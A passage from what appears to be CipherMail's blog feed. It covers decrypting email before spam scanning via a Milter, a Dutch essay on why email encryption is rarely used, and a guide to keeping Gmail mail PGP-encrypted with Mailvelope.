is that in order to scan encrypted email for viruses or spam, the email should be decrypted before scanning. 
A typical solution to this problem is to use a centralized email encryption gateway placed between the content scanner 
and the Internet (see image below). With this setup, email gets decrypted before scanning for viruses or spam. &lt;/p&gt;
&lt;p&gt;&lt;img alt="CipherMail gateway after content scanner " src="https://www.ciphermail.com/images/ciphermail-gateway-with-content-scanner.svg"&gt;&lt;/p&gt;
&lt;p&gt;While this setup allows you to scan 
all email, there are a couple of issues with this setup. The email encryption gateway has to handle all incoming email 
including spam (in practice most spam can be blocked at connection time using RBL checks). &lt;/p&gt;
&lt;p&gt;Although security wise 
this is not really a problem, it's better to block viruses and spam as soon as possible. Handling email which will 
then be removed by the next server is just a waste of resources. &lt;/p&gt;
&lt;p&gt;A bigger issue however might be that once a mail 
server has accepted a message, the mail server is responsible for delivering the message. If the message later 
turns out to be spam, the server is no longer “allowed” to bounce the message (even though it is technically possible 
to bounce the email, chances are that your mail server will be blacklisted because of &lt;a href="https://en.wikipedia.org/wiki/Backscatter_%28email%29"&gt;backscatter&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;Since the message cannot be bounced back, the only options left are to deliver the email, drop the email, or 
quarantine the email and notify the recipient. &lt;/p&gt;
&lt;p&gt;If an email contains a virus, generally the best option would be 
to drop the email. If an email is flagged as spam and the spam score is high enough that a false positive is 
unlikely, most recipients probably want the system to drop the email instead of quarantine it. &lt;/p&gt;
&lt;p&gt;Dropping the email 
however can be problematic in some countries. 
For example German law, and there are probably other countries with similar laws, forbid to drop email after the 
email has been accepted unless the email is harmful&lt;sup id="fnref:1"&gt;&lt;a class="footnote-ref" href="#fn:1"&gt;1&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;p&gt;So dropping an email which contains a virus is allowed, since the message is harmful, but dropping an email which 
is flagged as spam is not allowed. An email flagged as spam therefore either has to be delivered, alternatively 
with a tag added to the subject to indicate that the email was detected as spam, or quarantined. Both options are 
annoying for recipients if a large number of spam is received every day.&lt;/p&gt;
&lt;p&gt;Instead of scanning for spam or viruses after the message was accepted, a better option would be to reject email at 
delivery time before accepting the email (i.e., place the anti-virus anti-spam scanner between the Internet and 
the email encryption gateway). &lt;/p&gt;
&lt;p&gt;When a message is flagged as spam, the sender will be notified that the message was not 
accepted. The problem however with scanning before decryption is that the content scanner can no longer scan encrypted 
email. One option would be to scan again for viruses and spam after decryption. This however only partly solves the 
problem. Email which was initially encrypted, and could therefore not be scanned by the first scanning process, might 
be flagged as spam by the second scanning process. If this happens, the email is already accepted and the email can 
therefore not be dropped nor bounced.&lt;/p&gt;
&lt;p&gt;The best way to solve this issue is to decrypt and scan incoming email before accepting the email, i.e., deploy the 
decrypt and scan process as a "before queue filter". To decrypt email before the email is accepted, we have added an 
email decryption Milter service to the CipherMail gateway.&lt;/p&gt;
&lt;p&gt;&lt;img alt="CipherMail gateway next to content scanner" src="https://www.ciphermail.com/images/ciphermail-gateway-with-content-scanner-redirect.svg"&gt;&lt;/p&gt;
&lt;p&gt;The email decryption Milter should be configured before the anti-virus anti-spam Milter to scan to make sure that encrypted email
is decrypted before scanning. Because the decryption and scanning process is now configured as a "before queue filter", 
encrypted email can be scanned for viruses and spam before the email is accepted.&lt;/p&gt;
&lt;p&gt;The Milter service will be available in the next release of CipherMail Enterprise.&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;&lt;a href="http://www.heise.de/ct/artikel/Strafbares-Filtern-289128.html"&gt;Juristische Fallstricke für Antispam-Software&lt;/a&gt;&lt;br&gt;
&lt;a href="http://www.searchsecurity.de/lernprogramm/Datenschutz-Rechtskonforme-Spam-Filterung"&gt;Datenschutz: Rechtskonforme Spam-Filterung&lt;/a&gt;&lt;br&gt;
&lt;a href="https://sourceforge.net/p/amavis/mailman/message/21197243/"&gt;Amavis in pre-queue mode&lt;/a&gt;&amp;#160;&lt;a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content><category term="blog"/></entry><entry><title>Waarom Jan zijn e-mail niet versleutelt?</title><link href="https://www.ciphermail.com/blog/waarom-jan-zijn-e-mail-niet-versleutelt.html" rel="alternate"/><published>2014-11-13T00:00:00+01:00</published><updated>2014-11-13T00:00:00+01:00</updated><author><name>Martijn Brinkers</name></author><id>tag:www.ciphermail.com,2014-11-13:/blog/waarom-jan-zijn-e-mail-niet-versleutelt.html</id><summary type="html">&lt;p&gt;(in Dutch) Waarom wordt e-mailversleuteling niet vaker toegepast? Hoe je ervoor kunt zorgen dat er vaker wordt versleuteld.&lt;/p&gt;</summary><content type="html">&lt;h2&gt;We mailen er lekker op los!&lt;/h2&gt;
&lt;p&gt;Hoewel er al jaren wordt geroepen dat e-mail zijn beste tijd heeft
gehad, is e-mail nog altijd springlevend. E-mail wordt voor alles en nog
wat gebruikt en bevat vaak privacy gevoelige informatie of andere
informatie die een zekere mate van beveiliging vereist (zoals een
accountantsrapport of patiëntinformatie). Ik denk dat de meeste e-mail
gebruikers niet meer verrast zullen zijn om te horen dat e-mail niet
zomaar beveiligd is tegen uitlekken.&lt;/p&gt;
&lt;h2&gt;Hoe zit dat met veiligheidsnormen en de rol van de auditor?&lt;/h2&gt;
&lt;p&gt;Wat mij echter wel verrast, is dat er ondanks deze kennis vaak gevoelige
informatie onbeveiligd wordt verstuurd zonder er bij na te denken wat de
gevolgen kunnen zijn als de e-mail uitlekt. In veel beroepsgroepen zijn
er specifieke regels die verbieden om privacy gevoelige gegevens over
het Internet te versturen als er geen gebruik wordt gemaakt van
additionele beveiligingsmaatregelen. In de zorg is dat bijvoorbeeld de
NEN 7510. Helaas is de praktijk vaak anders dan de theorie en wordt er
door Jan en alleman naarstig op los gemaild. Dat een individuele
gebruiker denkt, "het mag niet, maar het is zo handig", daar kan ik mij
nog wel wat bij voorstellen. Waar ik mij meer over verbaas, is dat
auditors een oogje lijken toe te knijpen. Organisaties geven jaarlijks
een vermogen uit om hun infrastructuur te laten "keuren". De auditors
produceren dikke rapporten en de klant geeft vervolgens weer een
vermogen uit om de digitale "Fort Knox" beter te beveiligen. Soms gaat
het zelfs zo ver dat er firewalls van verschillende fabrikanten moeten
worden aangeschaft. Wordt er een lek gevonden in een firewall van
fabrikant A, dan heb je altijd nog een firewall van fabrikant B. Op zich
allemaal begrijpelijk. Waar zit dan nu mijn verbazing? Mijn verbazing
zit daarin dat het lijkt dat de verantwoordelijkheid van de auditor
eindigt wanneer een e-mail het Internet is opgegaan. Ik schrijf bewust
lijkt, want een auditor is natuurlijk ook niet gek. Toch lijkt het hier
wel op. Op het moment dat een e-mailbericht de e-mail server heeft
verlaten, ben je de controle over dat bericht kwijt. Je kunt niet meer
controleren wie toegang heeft tot dat bericht en of het mogelijk
onderweg is aangepast. Hoewel ik geen auditor ben, kan ik mij in ieder
geval voorstellen dat je moet concluderen dat er hier sprake is van een
audit technisch probleem.&lt;/p&gt;
&lt;h2&gt;Is jouw e-mail geld waard?&lt;/h2&gt;
&lt;p&gt;Pakweg 10 jaar geleden sprak ik na afloop van een presentatie over
e-mail versleuteling met de eigenaar van een IT security bedrijf en zijn
conclusie was toen al: "eigenlijk moet je e-mail als compromised
beschouwen op het moment dat je het onversleuteld en ongetekend hebt
verstuurd". Ik denk eigenlijk dat als e-mail nu uitgevonden zou worden,
een auditor het waarschijnlijk niet meer zou toestaan om gevoelige
informatie via e-mail te versturen. Nu kun je je afvragen hoe groot de
kans is dat e-mail wordt onderschept. Daar heb ik niet direct een
antwoord op. Wat ik wel weet, is dat als er geld kan worden verdiend met
duistere zaakjes dat dan de kans dat iemand dat gaat doen één is.
Hierbij een hypothetisch voorbeeld van hoe je geld zou kunnen verdienen
als je iets weet wat anderen niet behoren te weten. Vorig jaar werd
duidelijk dat D.E. Master Blenders overgenomen zou worden door een groep
van Duitse investeerders. Toen deze informatie publiekelijk werd, schoot
de beurskoers van D.E. Master Blenders met ruim 27% omhoog. Hoewel ik
dat uiteraard niet zeker weet, zou het natuurlijk best zo kunnen zijn
dat de concept verslagen en contracten over deze overname al menig keer
over en weer over het Internet zijn verstuurd. Ik neem aan dat bij zulke
overnames advocaten en accountants worden betrokken. Als je in staat
bent deze berichten te onderscheppen, kun je daar mogelijk veel geld mee
verdienen. Natuurlijk zullen er in de praktijk additionele middelen zijn
om misbruik van voorkennis te ontdekken maar als je het subtiel aanpakt
kom je er waarschijnlijk wel mee weg.&lt;/p&gt;
&lt;h2&gt;Iedereen veilige e-mail gebruiken en opgelost...&lt;/h2&gt;
&lt;p&gt;Nu is het zo dat er al jaren oplossingen bestaan om e-mail te
versleutelen. De vraag is dan ook waarom dit zo weinig wordt toegepast.
Ik denk dat daarvoor een aantal oorzaken zijn. In het in 1999 verschenen
artikel "Why Johnny can't encrypt: a usability evaluation of PGP 5.0"
wordt beschreven waarom PGP software voor het versleutelen van e-mail zo
lastig is in het gebruik en waarom versleuteling van e-mail zo weinig
wordt toegepast. De twee belangrijkste conclusies van het artikel zijn
naar mijn mening:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Individuele eindgebruikers zoals Jan zijn niet gemotiveerd genoeg om
    e-mail te versleutelen&lt;/li&gt;
&lt;li&gt;Het is daarnaast allemaal te complex voor de eindgebruikers.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Dat eindgebruikers niet gemotiveerd genoeg zijn om hun e-mail te
versleutelen heeft waarschijnlijk te maken met de urgentie. "Dat heb ik
nog nooit gedaan dus waarom zou ik dat nu ineens moeten doen" is een
veel gebruikt argument. Het heeft natuurlijk ook ten dele te maken met
de tweede conclusie. Als het heel eenvoudig zou zijn om je e-mail te
versleutelen, zouden meer mensen gemotiveerd zijn om dat te doen. Toch
denk ik niet dat dat de volledige verklaring is. Mensen zijn heel
creatief om elke vorm van beveiliging te omzeilen als dat hun leven een
stukje eenvoudiger maakt. Recentelijk nog plaatste een SP Kamerlid met
trots een bericht op Twitter dat hij de beveiliging van zijn USB-stick
met begrotingsstukken had omzeild door de stukken te mailen naar zijn
Gmail account zodat hij de stukken tenminste kon uitprinten. Je zou van
een Kamerlid toch iets meer verantwoordelijkheid verwachten. Ik denk dat
je de eindgebruiker zo min mogelijk moet lastigvallen met
beveiligingstechnische vraagstukken. Het wordt al snel te complex voor
de gemiddelde eindgebruiker en als iets te complex is, dan wordt het
niet gebruikt. Hoewel het beveiligingstechnisch gezien het meest veilig
is om te versleutelen op de desktop (bijvoorbeeld met Outlook), zal dat
in de praktijk meestal niet goed werken. Het is namelijk te complex.&lt;/p&gt;
&lt;h2&gt;Hoe kan het beter?&lt;/h2&gt;
&lt;p&gt;Ik denk dat de beste oplossing is om alle e-mail op infrastructureel
niveau te versleutelen. Dus gebruik te maken van e-mail "gateways" die
onderling e-mail berichten versleutelen. Het grote voordeel hiervan is
dat je centraal een beveiligingsbeleid kan afdwingen. Je kunt
bijvoorbeeld instellen dat e-mail naar een bepaald domein altijd
versleuteld moet worden. Aangezien het beveiligingsbeleid centraal wordt
afgedwongen, kan de verzender zich hieraan niet onttrekken. De verzender
kan gewoon blijven e-mailen zonder lastig gevallen te worden met
moeilijke beslissingen. De administrator is verantwoordelijk voor het
beheer van de sleutels en het beveiligingsbeleid. Een bijkomend voordeel
van het centraal versleutelen van e-mail is dat de e-mail nog steeds
centraal kan worden gecontroleerd op virussen. Dit in tegenstelling tot
versleuteling op de desktop aangezien in dat geval een centraal
geplaatste virus-scanner de berichten niet meer kan controleren op
virussen. Er zijn ook hybride oplossingen mogelijk. Je kunt er
bijvoorbeeld voor kiezen om e-mail op de desktop digitaal te
ondertekenen, eventueel met een smartcard, en vervolgens centraal te
versleutelen.&lt;/p&gt;
&lt;h2&gt;Transport Layer Security de oplossing?&lt;/h2&gt;
&lt;p&gt;Nu zullen velen van u denken, "maar dit kan toch allemaal al met TLS
(SSL)?". Dit is maar ten dele waar. Zonder in te gaan op alle details,
zal ik kort aangeven waarom een TLS verbinding niet altijd voldoende is.
Een TLS verbinding versleutelt wel het kanaal maar niet de individuele
berichten. Dus als een e-mail tijdelijk wordt opgeslagen, bijvoorbeeld
op een tussenliggende e-mail server, dan is de e-mail in principe
leesbaar. Een ander nadeel van TLS is dat je alleen kan afdwingen dat de
verbinding naar de eerstvolgende server beveiligd is met TLS. Nadat een
e-mail is ontvangen door een e-mail server, heb je geen controle meer
over die e-mail. Het zou zo kunnen zijn dat er daarna helemaal geen
gebruik meer wordt gemaakt van TLS. Vaak zijn er meerdere tussenliggende
mail servers betrokken bij het versturen van e-mail. Een ander probleem
is dat TLS, en dan vooral in combinatie met SMTP, gevoelig is voor een
"man in the middle attack". Bij een "man in the middle attack" komt het
er grofweg op neer dat je niet met zekerheid weet of je verbonden bent
met de juiste server. Een probleem met e-mail is dat er geen duidelijke
relatie is tussen het e-mail adres van een ontvanger en de e-mail server
die verantwoordelijk is voor de afhandeling van deze e-mail. Hoewel het
mogelijk is je te beschermen tegen een "man in the middle attack",
bijvoorbeeld door de "fingerprint" van het certificaat te controleren,
wordt dat in de praktijk vaak achterwegen gelaten.&lt;/p&gt;
&lt;h2&gt;De standaard is S/MIME en OpenPGP&lt;/h2&gt;
&lt;p&gt;Om e-mail versleuteling tussen e-mail servers onderling succesvol te
laten zijn moet er gebruik worden gemaakt van open standaarden. Dit
verkleint ook het risico op een "vendor lock-in". Op dit moment zijn er
twee officiële e-mail versleutelingsstandaarden: S/MIME and OpenPGP.
Deze twee standaarden worden door verschillende fabrikanten ondersteund.
Tevens zijn er verschillende open-source producten die deze standaarden
ondersteunen. Nadat een versleutelings "gateway" geïnstalleerd en
geconfigureerd is, is het beheer hiervan overzichtelijk. Zeker als je
het vergelijkt met het beheer dat nodig is wanneer er wordt versleuteld
op de desktop. Toekomstige standaarden, zoals DANE in combinatie met
S/MIME, zullen ervoor zorgen dat de uitwisseling van sleutels min or
meer automatisch zal plaatsvinden waardoor het beheer hiervan
eenvoudiger wordt.&lt;/p&gt;
&lt;p&gt;Dus hoe kunnen we zorgen dat eindgebruikers zoals Jan veilig e-mailen?
Door te zorgen dat e-mail op infrastructureel niveau versleuteld wordt
zodat eindgebruikers e-mail kunnen blijven gebruiken zoals ze gewend
zijn.&lt;/p&gt;
&lt;p&gt;Dit artikel
&lt;a href="https://www.cqure.nl/kennisplatform/waarom-jan-zijn-e-mail-niet-versleutelt/"&gt;verscheen&lt;/a&gt;
eerder op het Cqure Kennisplatform.&lt;/p&gt;</content><category term="blog"/></entry><entry><title>Encrypted email in the cloud</title><link href="https://www.ciphermail.com/blog/encrypted-email-in-the-cloud.html" rel="alternate"/><published>2014-06-06T00:00:00+02:00</published><updated>2014-06-06T00:00:00+02:00</updated><author><name>Martijn Brinkers</name></author><id>tag:www.ciphermail.com,2014-06-06:/blog/encrypted-email-in-the-cloud.html</id><summary type="html">&lt;p&gt;In a perfect world, email can only be read by the user the email was intended for. In the real world however, things are a bit different.&lt;/p&gt;</summary><content type="html">&lt;p&gt;In a perfect world, email can only be read by the user the email was intended for. In the real world however, 
things are a bit different. &lt;/p&gt;
&lt;p&gt;Although email can easily be encrypted, most email is not. Roughly speaking there 
are two ways email can be leaked: it can be read in transit (i.e., when sent over the Internet), or it can be read at 
rest (i.e., after the email is stored). Email is only briefly in transit. Once an email has reached its destination, 
it is no longer in transit. An email is however stored until it is deleted (and even then there will probably be a 
backup somewhere). It is therefore more likely that an email gets leaked after storage and not during transmission 
(for example, if your account gets hacked, the hacker can read all your email).&lt;/p&gt;
&lt;p&gt;So even if your email is transmitted in plain text, encrypting the email before storing it will be very helpful to 
protect yourself against some hacker trying to break into your mailbox (or to protect yourself against Gmail for 
scanning your email for targeted ads).&lt;/p&gt;
&lt;p&gt;We will show how you can store all incoming email in encrypted form on an external mail server with the CipherMail email encryption gateway, 
even if an incoming email is not encrypted.&lt;/p&gt;
&lt;p&gt;Using the &lt;a href="https://www.mailvelope.com/"&gt;Mailvelope&lt;/a&gt; browser extension, you will still be able read your email 
online.
The browser extension will locally decrypt the email when the email is opened. We use a similar setup ourselves to 
create a remote encrypted backup of all our incoming email on Gmail. Since every email is encrypted, Gmail cannot read 
the content of the emails.&lt;/p&gt;
&lt;p&gt;For the rest of this post we assume that all email will be stored on a Gmail server. However, the same principle can be
used with other mail providers just as long as the mail provider is supported by Mailvelope 
(Mailvelope supports Gmail, Outlook.com, Yahoo and other Webmail providers).&lt;/p&gt;
&lt;h3&gt;Prerequisite&lt;/h3&gt;
&lt;p&gt;Since all incoming email must be encrypted before being sent to Gmail, all email must first be sent to the CipherMail email encryption 
gateway. This requires that you need to use your own domain name (which is a good thing to do anyway). 
Also a functional instance of the CipherMail gateway is required.&lt;/p&gt;
&lt;h3&gt;Setup&lt;/h3&gt;
&lt;p&gt;When an email is sent by some external sender, it is first sent to your CipherMail gateway (since the mx records of your 
domain point to the IP of the CipherMail gateway). The CipherMail gateway then PGP encrypts the message and 
forwards the message to your Gmail account. When the email is opened by the recipient, the Mailvelope extension will 
decrypt the message automatically. The following diagram gives an overview of the mail flow:&lt;/p&gt;
&lt;p&gt;&lt;img alt="encrypted email in the cloud" src="https://www.ciphermail.com/images/encrypted-email-in-the-cloud.jpg"&gt;&lt;/p&gt;
&lt;p&gt;The following part will briefly explain the required steps on how to setup the above configuration.&lt;/p&gt;
&lt;ol&gt;
    &lt;li&gt;Install a CipherMail gateway.&lt;/li&gt;
    &lt;li&gt;Forward all email to Gmail.&lt;/li&gt;
    &lt;li&gt;Install Mailvelope.&lt;/li&gt;
    &lt;li&gt;Create a PGP secret key in Mailvelope (or import and existing key).&lt;/li&gt;
    &lt;li&gt;Import the PGP public key into the gateway.&lt;/li&gt;
    &lt;li&gt;Configure the gateway.&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;Install a CipherMail gateway&lt;/h3&gt;
&lt;p&gt;A running instance of the CipherMail gateway is required. You can download a Virtual Appliance for VMware or HyperV. 
Alternatively the gateway can be installed using the installation packages for Ubuntu, Debian, Red Hat/CentOS or 
OpenSUSE.&lt;/p&gt;
&lt;h3&gt;Forward all email to Gmail&lt;/h3&gt;
&lt;p&gt;After the email is encrypted by the gateway, the email must be forwarded to the Gmail server. The forwarding configuration 
depends on whether Google apps for business is used. With Google apps for business you can configure 
Gmail to accept email for your own domain. If Google apps for business is used, the "Internal relay host" setting 
should be set to the Gmail domain to forward all incoming email to Gmail. If a personal Gmail account is used, 
forwarding to Gmail can be configured by setting a virtual alias in Postfix (repeat this step for all recipients that 
must be forwarded).&lt;/p&gt;
&lt;h3&gt;Install Mailvelope&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://www.mailvelope.com/"&gt;Mailvelope&lt;/a&gt; is a browser extension which supports OpenPGP. Mailvelope can 
locally decrypt and encrypt email using secret key stored locally in the browser. Mailvelope currently only supports 
Chrome. A Firefox version is currently under review by Mozilla for inclusion in the Mozilla add-ons store.&lt;/p&gt;
&lt;h3&gt;Create a PGP secret key in Mailvelope (or import and existing key)&lt;/h3&gt;
&lt;p&gt;Mailvelope requires an OpenPGP for decrypting the email. A new secret key can be generated by Mailvelope or an existing 
secret key can be imported from a secret keyring. See &lt;a href="https://www.mailvelope.com/help"&gt;Mailvelope help&lt;/a&gt; 
for instructions on how to generate or import a key. For every recipient a PGP secret key should be created.&lt;/p&gt;
&lt;h3&gt;Import the PGP public key into the gateway&lt;/h3&gt;
&lt;p&gt;The gateway needs the PGP public key of the secret key(s). For every secret key generated or imported in the previous 
step, the public key should be imported into the gateway. This can be done by either importing the key from a file or, 
if the key is published on a key server, the key can be imported from the key server. The key should be trusted by the 
gateway otherwise the key will not be used.&lt;/p&gt;
&lt;h3&gt;Configure the gateway&lt;/h3&gt;
&lt;p&gt;The gateway should be configured to always encrypt for the forwarded recipient(s). To always encrypt for a recipient, set 
the "Encrypt mode" for the recipient to "Allow (sender or recipient)". The CipherMail gateway by default encrypts 
with PGP/MIME. Mailvelope however only supports PGP/INLINE. The recipient(s) should therefore be configured for
PGP/INLINE.&lt;/p&gt;
&lt;h2&gt;Reading encrypted email&lt;/h2&gt;
&lt;p&gt;All email forwarded to Gmail will now be encrypted as can be seen from the inbox.&lt;br&gt;
When an email is opened, Mailvelope is activated. The user needs to enter the secret key password to read the encrypted email.   &lt;/p&gt;
&lt;p&gt;&lt;img alt="encrypted email in the cloud inbox" src="https://www.ciphermail.com/images/encrypted-email-in-the-cloud-inbox.png"&gt;
&lt;img alt="encrypted email in the cloud message" src="https://www.ciphermail.com/images/encrypted-email-in-the-cloud-message.png"&gt;&lt;/p&gt;
&lt;h2&gt;Discussion&lt;/h2&gt;
&lt;p&gt;With this setup, all incoming email will be encrypted and then forwarded to Gmail. Encrypting all email however has a couple of shortcomings 
which we will discuss.&lt;/p&gt;
&lt;h3&gt;Searching&lt;/h3&gt;
&lt;p&gt;Since all email will be encrypted, searching for an email based on content will no longer work. You can only search 
based on meta data (like sender, subject, date etc.) since the meta data is not encrypted. &lt;/p&gt;
&lt;h3&gt;Attachments&lt;/h3&gt;
&lt;p&gt;Attachments cannot be decrypted. This is a shortcoming of the Mailvelope extension. Attachments should therefore be 
downloaded and decrypted locally with GnuPG. If you are using a mail client with PGP support, for example Thunderbird 
with Enigmail, attachments are directly supported.  &lt;/p&gt;
&lt;h3&gt;HTML email&lt;/h3&gt;
&lt;p&gt;Since Mailvelope currently only supports PGP/INLINE, HTML email is not supported (HTML email is 
supported with PGP/MIME). The CipherMail gateway will convert HTML only emails to text before encrypting with PGP/INLINE.
We are investigating whether we can support HTML with PGP/INLINE.  &lt;/p&gt;
&lt;h3&gt;Sending email&lt;/h3&gt;
&lt;p&gt;With the current setup, only incoming email will be encrypted. Email sent from Gmail with your browser will by default
not be encrypted. To support encryption of all sent email, even if the recipient does not use PGP, requires some changes
to Mailvelope. Mailvelope should be configured to always encrypt with one particular PGP key. Gmail should then be 
configured to relay via the external CipherMail server. The CipherMail server will decrypt the message and then relay 
the message to the intended recipient. This ensures that even sent items are encrypted.&lt;/p&gt;</content><category term="blog"/></entry></feed>